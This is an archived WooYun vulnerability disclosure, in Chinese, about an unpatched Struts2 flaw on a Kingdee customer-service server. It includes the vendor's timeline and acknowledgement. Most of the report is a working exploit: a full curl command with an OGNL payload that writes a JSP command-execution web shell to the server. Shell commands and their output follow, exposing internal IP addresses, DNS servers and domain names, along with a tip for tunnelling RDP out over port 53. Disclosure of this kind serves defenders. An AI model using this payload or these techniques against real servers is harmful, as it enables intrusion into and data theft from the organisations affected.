乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2014-12-27: 细节已通知厂商并且等待厂商处理中 2014-12-29: 厂商已经确认,细节仅向厂商公开 2015-01-08: 细节向核心白帽子及相关领域专家公开 2015-01-18: 细节向普通白帽子公开 2015-01-28: 细节向实习白帽子公开 2015-02-10: 细节向公众公开
st2漏洞修复不当。
写shell:
curl -i 'http://service.kingdee.com/csso/customer/getClientIP.action' -d 'redirect:${(new%20java.io.PrintWriter(%22D:/website/csso_head/tset.jsp%22).append(%27%3C%25%40%20page%20import%3D%22java.io.*%22%20%25%3E%20%3C%25%20String%20cmd%20%3D%20request.getParameter(%22cmd%22)%3B%20String%20output%20%3D%20%22%22%3B%20if(cmd%20!%3D%20null)%20%7B%20String%20s%20%3D%20null%3B%20try%20%7B%20Process%20p%20%3D%20Runtime.getRuntime().exec(cmd)%3B%20BufferedReader%20sI%20%3D%20new%20BufferedReader(new%20InputStreamReader(p.getInputStream()))%3B%20while((s%20%3D%20sI.readLine())%20!%3D%20null)%20%7B%20output%20%2B%3D%20s%20%2B%22%5C%5Cr%5C%5Cn%22%3B%20%7D%20%7D%20catch(IOException%20e)%20%7B%20e.printStackTrace()%3B%20%7D%20%7D%20%25%3E%20%3Cpre%3E%20%3C%25%3Doutput%20%25%3E%20%3C%2Fpre%3E%27).close())%2b+%22OK%22}'
ipconfig /all:
curl http://service.kingdee.com/csso/tset.jsp -d cmd="ipconfig /all" <pre>Windows IP Configuration Host Name . . . . . . . . . . . . : csso Primary Dns Suffix . . . . . . . : kingdee.gbl Node Type . . . . . . . . . . . . : Unknown IP Routing Enabled. . . . . . . . : No WINS Proxy Enabled. . . . . . . . : No DNS Suffix Search List. . . . . . : kingdee.gblEthernet adapter ????: Connection-specific DNS Suffix . : Description . . . . . . . . . . . : Intel(R) PRO/1000 MT Network Connection Physical Address. . . . . . . . . : 00-50-56-A3-00-04 DHCP Enabled. . . . . . . . . . . : No IP Address. . . . . . . . . . . . : 192.168.200.181 Subnet Mask . . . . . . . . . . . : 255.255.255.0 Default Gateway . . . . . . . . . : 192.168.200.1 DNS Servers . . . . . . . . . . . : 192.168.201.220 192.168.200.201 192.168.200.202 192.168.1.13
net view /domain
curl http://service.kingdee.com/csso/tset.jsp -d cmd="net view /domain" <pre> Domain-------------------------------------------------------------------------------KDACTKDSVKDWEBKINGDEELICENSEGROUPWEBWORKGROUP??????? </pre>
服务器在内网,限制外网访问,但53端口数据不拦。可以通过转发3389到外网53端口。
服务器上很多资料。
万恶的st2.
危害等级:高
漏洞Rank:20
确认时间:2014-12-29 15:56
非常感谢关注金蝶产品安全反馈漏洞,现已通知研发部门紧急修复。谢谢!
暂无